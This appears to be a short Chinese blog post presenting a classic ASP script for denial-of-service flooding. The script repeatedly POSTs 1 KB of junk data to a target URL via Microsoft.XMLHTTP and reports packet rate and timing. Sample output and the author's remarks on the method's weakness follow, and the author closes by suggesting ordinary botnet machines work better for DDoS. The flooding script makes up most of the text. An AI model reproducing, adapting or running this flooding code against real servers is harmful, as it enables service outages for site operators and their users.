用Asp来DDOS

用asp程序来ddos攻击。

<%
'On Error Resume Next
Dim Tmp, Atk
Atk = 1024                                                         '发包数量
Tmp = String(1024,"A")                                             '产生1kb垃圾数据
Set Xml = Server.CreateObject("Microsoft.xmlhttp")

StarTime = Timer()                                                 '记录开始时间
For i=1 to Atk
        Xml.Open "Post", "http://127.0.0.1:90/", Flase             '打开URL
        Xml.Send Tmp                                               '发送垃圾数据
Next
UseTime = FormatNumber((Timer()-StarTime)*1000,3)                  '计算花费时间

Response.Write "发包数量：" & Atk & " 个"
Response.Write "数据大小：" & Atk*Len(Tmp)/1024 & " kb"
Response.Write "发包速度：" & Atk/(UseTime/1000) & " /s"
Response.Write "花费时间：" & UseTime & " 毫秒"
%>

包数量：1024 个
数据大小：1024 kb
发包速度：376.64367816092 /s
花费时间：2,718.750 毫秒

发包速度还行，如果是互联网环境的话。除以10。
而且只支持TCP连接(Get/Post两种方式)。
如果xml使用异步发送，可能根本发不出去。
使用同步的话。发送期间会卡死的。

总之：十分鸡肋，还不如用普通家鸡搞DDOS。